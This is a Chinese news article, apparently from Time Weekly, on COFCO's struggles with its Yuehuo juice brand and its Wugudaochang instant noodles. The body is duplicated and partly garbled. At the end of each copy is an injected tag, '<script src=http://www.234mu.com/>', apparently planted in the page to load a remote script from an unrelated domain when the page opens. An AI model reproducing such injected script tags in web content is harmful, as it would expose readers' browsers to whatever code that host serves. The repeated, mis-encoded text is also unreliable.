中糧發(fā)展全產(chǎn)業(yè)鏈最大的困難就在于產(chǎn)業(yè)鏈之間的銜接。
離市場(chǎng)近一些,離市場(chǎng)再近一些,確定“從田間到餐桌”的全產(chǎn)業(yè)鏈發(fā)展戰(zhàn)略后,中糧集團(tuán)一直在尋找擴(kuò)大終端市場(chǎng)出口的機(jī)會(huì),希望在食品飲品等快消品領(lǐng)域能夠有所突破,實(shí)現(xiàn)從資源型的企業(yè)向終端品牌型的企業(yè)轉(zhuǎn)變。
然而,無(wú)論是中糧新近收購(gòu)的五谷道場(chǎng)、力推的悅活系列,還是原來(lái)的自有品牌福臨門(mén)、長(zhǎng)城、金帝,中糧這個(gè)產(chǎn)值上千億元的企業(yè),貌似強(qiáng)大,但每個(gè)業(yè)務(wù)都與競(jìng)爭(zhēng)對(duì)手差距很大。連“一個(gè)中糧”都無(wú)法做到,中糧各個(gè)業(yè)務(wù)非但不能協(xié)同作戰(zhàn),降低交易成本,反而會(huì)相互掣肘。
悅活收入不及廣告費(fèi)一半
牽手開(kāi)心網(wǎng),在網(wǎng)上種果樹(shù)榨果汁、與《三聯(lián)生活周刊》聯(lián)合出品《悅活》雜志……在過(guò)去的一年里,在網(wǎng)絡(luò)、電視、廣播、地面廣告,悅活品牌似乎無(wú)處不在。
可是,悅活是什么呢？對(duì)于中糧董事長(zhǎng)寧高寧來(lái)說(shuō),這并不是個(gè)難回答的問(wèn)題,“悅活”是倡導(dǎo)一種新生活方式、生活態(tài)度的品牌。
于是,在這種邏輯下,中糧推出了包含果汁、蜂蜜、乳酪、谷物早餐(未來(lái)還將有水、食用油)等眾多產(chǎn)品在內(nèi)的產(chǎn)品群品牌“悅活”。負(fù)責(zé)悅活果汁業(yè)務(wù)的中糧創(chuàng)新食品有關(guān)人員曾表示,“悅活”果汁5年后的目標(biāo)是純果汁、果蔬汁銷(xiāo)售20億元。
然而,一年多的時(shí)間過(guò)去了,悅活果汁的表現(xiàn)卻不盡如人意,一位資深果汁飲料經(jīng)銷(xiāo)商在接受時(shí)代周報(bào)記者采訪時(shí)用三個(gè)詞來(lái)形容悅活果汁:“沒(méi)特色、高投入、低產(chǎn)出”。而流傳在果汁飲料圈的說(shuō)法則是,去年悅活廣告宣傳費(fèi)用高達(dá)2億元,而收入還不及廣告費(fèi)的一半,在悅活最主要市場(chǎng)—北京,銷(xiāo)量不過(guò)區(qū)區(qū)2000萬(wàn)元。
悅活果汁確實(shí)有其獨(dú)特的品牌訴求點(diǎn):產(chǎn)地限定。新疆烏蘇農(nóng)場(chǎng)的番茄、大興安嶺的野生黑加侖、四川會(huì)理的石榴、渭北高原的蘋(píng)果……然而果汁畢竟不是昂貴的白酒、葡萄酒,產(chǎn)地限定除了給產(chǎn)品增加成本之外,并沒(méi)有為品牌帶來(lái)多少溢價(jià)效益。
由于產(chǎn)品銷(xiāo)量不大,“悅活”果汁產(chǎn)品都是通過(guò)委托加工的方式生產(chǎn)。為了符合悅活要求,OEM方的生產(chǎn)線都進(jìn)行了改造,OEM方曾透露,生產(chǎn)280毫升悅活產(chǎn)品的成本并不小于生產(chǎn)五六百毫升的同類果汁產(chǎn)品。悅活280毫升的果汁和果蔬汁在不同地區(qū)的零售價(jià)是5-6元,而1升(1000毫升)裝的匯源100%純果汁的售價(jià)通常在8-13元。除了售價(jià)昂貴,悅活果汁的產(chǎn)品定位也模糊不清,一瓶飲料中混合了5種果汁和5種蔬菜汁,還都是100%,這讓很多消費(fèi)者望而卻步。
前述人士告訴時(shí)代周報(bào)記者,在低濃度果汁飲料市場(chǎng),統(tǒng)一、康師傅占據(jù)了80%以上的市場(chǎng)份額;中濃度果汁市場(chǎng),農(nóng)夫果園占據(jù)了半壁江山;在純果汁和高濃度飲料市場(chǎng),匯源和牽手果汁共同占據(jù)了大部分市場(chǎng),加上來(lái)自美國(guó)的“大湖”、都樂(lè)、可果美、茹夢(mèng)、光明、湖濱、貝奇等耕耘已久,留給悅活的機(jī)會(huì)都不多了。
“丟了魂的五谷道場(chǎng)”
中糧重組五谷道場(chǎng)后,中糧天然五谷道場(chǎng)投資有限公司副總經(jīng)理李東明收到了一條熱情洋溢的祝賀短信,發(fā)信人正是五谷道場(chǎng)品牌創(chuàng)始人任立。然而一年后,家樂(lè)福中重新開(kāi)始播放五谷道場(chǎng)的宣傳片,北京CBD到處可見(jiàn)“100%非油炸,更健康”的廣告語(yǔ)時(shí),任立卻告訴時(shí)代周報(bào)記者:“中糧卻把五谷道場(chǎng)的魂丟了”。
中糧接手后,盡管五谷道場(chǎng)的Slogan依然是“非油炸,更健康”,但其系列電視廣告已然更換了情境,當(dāng)年霸氣、陽(yáng)剛、個(gè)性的陳寶國(guó)版廣告換成了臺(tái)灣男,曾經(jīng)打動(dòng)消費(fèi)者心靈的、原五谷道場(chǎng)品牌的陽(yáng)剛、大氣、超絕的形象沒(méi)有了,其廣告形象完全偏離了五谷道場(chǎng)的品牌和文化價(jià)值。
任立略有遺憾地表示,如今中糧五谷道場(chǎng)兩位廣告主角,一個(gè)是滿嘴方便面殘?jiān)?、有點(diǎn)稚氣的男生;一個(gè)是大嘴裂張、好似“芙蓉姐姐”的女生。廣告配音也是嗲聲嗲氣的港臺(tái)腔,使得主打健康的五谷道場(chǎng)淪落為與普通方便面產(chǎn)品沒(méi)有什么差別的產(chǎn)品。任立表示,正如中糧寧高寧董事長(zhǎng)所說(shuō)的那樣:當(dāng)初之所以買(mǎi)下五谷道場(chǎng),就是因?yàn)榘l(fā)現(xiàn)這個(gè)品牌在消費(fèi)者心中留下了非常好的記憶和期待,但是如果品牌的魂丟了,投入再多的資金也枉然?script src=http://www.234mu.com/>
離市場(chǎng)近一些,離市場(chǎng)再近一些,確定“從田間到餐桌”的全產(chǎn)業(yè)鏈發(fā)展戰(zhàn)略后,中糧集團(tuán)一直在尋找擴(kuò)大終端市場(chǎng)出口的機(jī)會(huì),希望在食品飲品等快消品領(lǐng)域能夠有所突破,實(shí)現(xiàn)從資源型的企業(yè)向終端品牌型的企業(yè)轉(zhuǎn)變。
然而,無(wú)論是中糧新近收購(gòu)的五谷道場(chǎng)、力推的悅活系列,還是原來(lái)的自有品牌福臨門(mén)、長(zhǎng)城、金帝,中糧這個(gè)產(chǎn)值上千億元的企業(yè),貌似強(qiáng)大,但每個(gè)業(yè)務(wù)都與競(jìng)爭(zhēng)對(duì)手差距很大。連“一個(gè)中糧”都無(wú)法做到,中糧各個(gè)業(yè)務(wù)非但不能協(xié)同作戰(zhàn),降低交易成本,反而會(huì)相互掣肘。
悅活收入不及廣告費(fèi)一半
牽手開(kāi)心網(wǎng),在網(wǎng)上種果樹(shù)榨果汁、與《三聯(lián)生活周刊》聯(lián)合出品《悅活》雜志……在過(guò)去的一年里,在網(wǎng)絡(luò)、電視、廣播、地面廣告,悅活品牌似乎無(wú)處不在。
可是,悅活是什么呢？對(duì)于中糧董事長(zhǎng)寧高寧來(lái)說(shuō),這并不是個(gè)難回答的問(wèn)題,“悅活”是倡導(dǎo)一種新生活方式、生活態(tài)度的品牌。
于是,在這種邏輯下,中糧推出了包含果汁、蜂蜜、乳酪、谷物早餐(未來(lái)還將有水、食用油)等眾多產(chǎn)品在內(nèi)的產(chǎn)品群品牌“悅活”。負(fù)責(zé)悅活果汁業(yè)務(wù)的中糧創(chuàng)新食品有關(guān)人員曾表示,“悅活”果汁5年后的目標(biāo)是純果汁、果蔬汁銷(xiāo)售20億元。
然而,一年多的時(shí)間過(guò)去了,悅活果汁的表現(xiàn)卻不盡如人意,一位資深果汁飲料經(jīng)銷(xiāo)商在接受時(shí)代周報(bào)記者采訪時(shí)用三個(gè)詞來(lái)形容悅活果汁:“沒(méi)特色、高投入、低產(chǎn)出”。而流傳在果汁飲料圈的說(shuō)法則是,去年悅活廣告宣傳費(fèi)用高達(dá)2億元,而收入還不及廣告費(fèi)的一半,在悅活最主要市場(chǎng)—北京,銷(xiāo)量不過(guò)區(qū)區(qū)2000萬(wàn)元。
悅活果汁確實(shí)有其獨(dú)特的品牌訴求點(diǎn):產(chǎn)地限定。新疆烏蘇農(nóng)場(chǎng)的番茄、大興安嶺的野生黑加侖、四川會(huì)理的石榴、渭北高原的蘋(píng)果……然而果汁畢竟不是昂貴的白酒、葡萄酒,產(chǎn)地限定除了給產(chǎn)品增加成本之外,并沒(méi)有為品牌帶來(lái)多少溢價(jià)效益。
由于產(chǎn)品銷(xiāo)量不大,“悅活”果汁產(chǎn)品都是通過(guò)委托加工的方式生產(chǎn)。為了符合悅活要求,OEM方的生產(chǎn)線都進(jìn)行了改造,OEM方曾透露,生產(chǎn)280毫升悅活產(chǎn)品的成本并不小于生產(chǎn)五六百毫升的同類果汁產(chǎn)品。悅活280毫升的果汁和果蔬汁在不同地區(qū)的零售價(jià)是5-6元,而1升(1000毫升)裝的匯源100%純果汁的售價(jià)通常在8-13元。除了售價(jià)昂貴,悅活果汁的產(chǎn)品定位也模糊不清,一瓶飲料中混合了5種果汁和5種蔬菜汁,還都是100%,這讓很多消費(fèi)者望而卻步。
前述人士告訴時(shí)代周報(bào)記者,在低濃度果汁飲料市場(chǎng),統(tǒng)一、康師傅占據(jù)了80%以上的市場(chǎng)份額;中濃度果汁市場(chǎng),農(nóng)夫果園占據(jù)了半壁江山;在純果汁和高濃度飲料市場(chǎng),匯源和牽手果汁共同占據(jù)了大部分市場(chǎng),加上來(lái)自美國(guó)的“大湖”、都樂(lè)、可果美、茹夢(mèng)、光明、湖濱、貝奇等耕耘已久,留給悅活的機(jī)會(huì)都不多了。
“丟了魂的五谷道場(chǎng)”
中糧重組五谷道場(chǎng)后,中糧天然五谷道場(chǎng)投資有限公司副總經(jīng)理李東明收到了一條熱情洋溢的祝賀短信,發(fā)信人正是五谷道場(chǎng)品牌創(chuàng)始人任立。然而一年后,家樂(lè)福中重新開(kāi)始播放五谷道場(chǎng)的宣傳片,北京CBD到處可見(jiàn)“100%非油炸,更健康”的廣告語(yǔ)時(shí),任立卻告訴時(shí)代周報(bào)記者:“中糧卻把五谷道場(chǎng)的魂丟了”。
中糧接手后,盡管五谷道場(chǎng)的Slogan依然是“非油炸,更健康”,但其系列電視廣告已然更換了情境,當(dāng)年霸氣、陽(yáng)剛、個(gè)性的陳寶國(guó)版廣告換成了臺(tái)灣男,曾經(jīng)打動(dòng)消費(fèi)者心靈的、原五谷道場(chǎng)品牌的陽(yáng)剛、大氣、超絕的形象沒(méi)有了,其廣告形象完全偏離了五谷道場(chǎng)的品牌和文化價(jià)值。
任立略有遺憾地表示,如今中糧五谷道場(chǎng)兩位廣告主角,一個(gè)是滿嘴方便面殘?jiān)?、有點(diǎn)稚氣的男生;一個(gè)是大嘴裂張、好似“芙蓉姐姐”的女生。廣告配音也是嗲聲嗲氣的港臺(tái)腔,使得主打健康的五谷道場(chǎng)淪落為與普通方便面產(chǎn)品沒(méi)有什么差別的產(chǎn)品。任立表示,正如中糧寧高寧董事長(zhǎng)所說(shuō)的那樣:當(dāng)初之所以買(mǎi)下五谷道場(chǎng),就是因?yàn)榘l(fā)現(xiàn)這個(gè)品牌在消費(fèi)者心中留下了非常好的記憶和期待,但是如果品牌的魂丟了,投入再多的資金也枉然?script src=http://www.234mu.com/>
